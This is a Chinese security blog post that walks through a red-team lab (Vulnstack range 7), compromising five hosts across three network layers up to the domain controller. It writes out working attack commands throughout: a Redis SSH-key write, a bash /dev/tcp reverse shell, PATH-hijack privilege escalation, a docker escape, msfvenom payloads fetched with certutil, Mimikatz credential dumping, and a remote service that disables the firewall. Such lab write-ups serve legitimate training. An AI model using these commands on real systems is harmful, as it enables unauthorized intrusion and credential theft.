freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

ATT&CK红队实战七
2021-12-30 13:40:12
所属地 北京

前言

红日的第七个靶场链接如下:http://vulnstack.qiyuanxuetang.net/vuln/detail/9/,整个靶场的网络环境分为三层,从最初的信息收集、外网初探、攻入内网、搭建代理、横向移动,最终拿下域控。

搭建完成后访问172.20.10.4,发现是一个博客页面

对目标ip进行端口扫描发现还开启了22,81,6379端口

访问81端口发现是个Larvel的站点,版本v8.29.0存在远程代码执行漏洞,可以拿exp打一下

使用脚本getshell,工具地址:https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

这里使用哥斯拉直接连接就可以(这里注意的是要使用低版本的哥斯拉进行连接,因为高版本的哥斯拉生成的马的加密方式已经改变了导致会连接失败)。

使用哥斯拉执行命令回显有点问题,就又写了一个php一句话换成了用蚁剑进行连接,发现当前的shell处于docker容器中,反弹shell也失败了。

那来看下6379端口的redis有没有未授权,kali直接连接发现存在redis未授权。

直接往目标主机上写ssh公钥

ssh-keygen -t rsa(echo -e "\n\n"; catid_rsa.pub; echo -e "\n\n") > 1.txtcat 1.txt | redis-cli -h 172.20.10.4-x set crack

然后连接redis执行命令

config set dir /root/.ssh   #设置config set dbfilenameauthorized_keyssave

写入成功后,ssh进行连接,发现目标主机还存在另外一网段192.168.52.1/24

查看主机的基本信息发现存在nginx代理服务,发现我们前面访问的80端口,nginx服务将其转发给了47.117.125.220而81端口的请求转发给了第二层网络的web服务器192.168.52.20。

我们先将前面Larvel的shell反弹给web1(192.168.52.10),然后获取一个交互式shell:

bash -c 'exec bash -i >&/dev/tcp/192.168.52.10/1234 0>&1'nc -lvp 1234python -c 'importpty;pty.spawn("/bin/bash")'Ctrl-Zstty raw -echofg

前面已经知道当前的shell是在docker容器中,当前用户为www-data,我们要想办法提权,这里利用环境变量来提权,直接使用find命令来搜索具有SUID或4000权限的文件,在这里发现一个在/home/jobs目录下有一个shell文件,执行该文件发现该文件执行了ps命令并且未使用绝对路径。

更改$PATH来执行我们的恶意程序,从而获得目标主机的高权限shell

cd /tmpecho "/bin/bash" > pschmod 777 psecho $PATHexport PATH=/tmp:$PATH #将/tmp添加到环境变量中,并且先加载执行/tmp里的程序cd /home/jobs./shell

这个我们已经获取到root权限了,接下来就是要进行docker逃逸

fdisk -l #查看磁盘文件mkdir chanmount /dev/sda1 /chan    #将/dev/sda1挂载到创建的文件夹ls /chan

发现home目录下有unbuntu用户,可以生成ssh密钥写入到/chan/home/ubuntu/.ssh目录中的authorized_keys文件中,写入成功之后就可以使用该密钥登陆到该机器上。

ssh-keygen -f chanchmod 600 chan    #赋予权限

cp -avx /chan/home/ubuntu/.ssh/id_rsa.pub/chan/home/ubuntu/.ssh/authorized_keys #-avx是将权限也一起复制echo > /chan/home/ubuntu/.ssh/authorized_keys  #清空authorized_keys文件echo '生成的.pub文件的内容' > /chan/home/ubuntu/.ssh/authorized_keys  #将ssh秘钥写入authorized_keys文件

成功登录,系统未ubuntu,还存在192.168.93.1/24网段

利用内核提权漏洞CVE-2021-3493进行提权

至此已经成功拿下了这两台机器,如下:

web1:172.20.10.4       192.168.52.10web2:  192.168.52.20     192.168.93.10

下面开始上线msf,生成两个elf文件

msfvenom -plinux/x64/meterpreter/bind_tcp LHOST=172.20.10.5 LPORT=5555 -f elf -o web1.elfmsfvenom -plinux/x64/meterpreter/bind_tcp LPORT=5555 -f elf -o web2.elf

在web1上将两个文件下载下来,执行web1.elf文件

此时msf已经接收到web1的session,添加路由

web1使用python3开启http服务 web2远程下载并执行we2.elf文件,此时两台机器已上线msf

对192.168.52.0段进行存活主机扫描,发现存在192.168.52.30

对该主机进行端口扫描如下,发现开启了445端口

使用msf的永恒之蓝模块攻击失败

发现192.168.52.30还开放了8080端口,配置代理然后访问一下

#使用ew配置./ew_for_linux64 -s rcsocks -l 1080-e 1234     #攻击机执行vim /etc/proxychains4.confsocks5 127.0.0.1 1080nohup ./ew_for_linux64 -s rssocks -d172.20.10.5-e 1234 &     #web1执行

配置好代理后访问8080发现是个通达OA经测试其版本为通达OA V11.3这个版本未授权文件上传、文件包含等漏洞。

直接抓包,修改数据包来未授权上传图片马,这里路径为/2112/1345204797.jpg(这里burp也要进行socks代理)。

文件包含图片马来执行命令,发现也存在另外一个ip192.168.93.20

既然可以执行命令来了,生产一个exe木马然后直接上线msf上传到web1,win7远程从web1开启的http服务上将chan.exe下载下来。

msfvenom -p windows/meterpreter/bind_tcpLPORT=7777 -f exe -o chan.exepython3 -m http.server 8088 #ertutil.exe -urlcache -split -f http://192.168.52.10:8088/chan.exeC:\MYOA\webroot\ispirit\interface\chan.exe

执行exe成功返回session

至此已经拿下第三台机器,经过信息搜集发现域控为192.168.93.30

使用meterpreter上的kiwi模块尝试抓取域用户及域管理员的密码

load kiwikiwi_cmd privilege::debugkiwi_cmd sekurlsa::logonPasswords

在第二层网络Windows服务器的meterpreter中添加一个通往192.168.93.1/24网段的路由

对192.168.93.0网段进行存活主机扫描,发现存在192.168.93.30 192.168.93.40

使用msf永恒之蓝的扫描模块对这两台机器进行扫描,发现存在永恒之蓝漏洞

利用msf模块进行攻击,只有192.168.93.40这台机器成功了

至此已经拿下四台主机:

我们登录到192.168.93.40这台机器上,我们前面已经获取到了域管理员的账号密码,直接与域控建立ipc连接

net use \\192.168.93.30\ipc$"Whoami2021" /user:"Administrator"然后执行如下命令,使用sc远程在域制器(192.168.93.30)上创建服务关闭防火墙:sc \\192.168.93.30 create enfirewallbinpath= "netsh advfirewall set allprofiles state off"sc \\192.168.93.30 start enfirewall

使用msf的 exploit/windows/smb/psexec 模块即可成功登录

成功拿下域控,至此三层网络结构中的五台机器已经全部拿下了

这里拿师傅的图来展示一下网络结构:

总结

通过此次靶场的练习,学习了Laravel远程代码执行、通达OA v11.3的漏洞利用、ssh密钥的利以及sudo权限提升,三层网络代理等。这里应该还有其他的姿势,等后面在研究研究。

# 渗透测试 # 黑客 # 漏洞挖掘
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
  • 0 文章数
  • 0 关注者
文章目录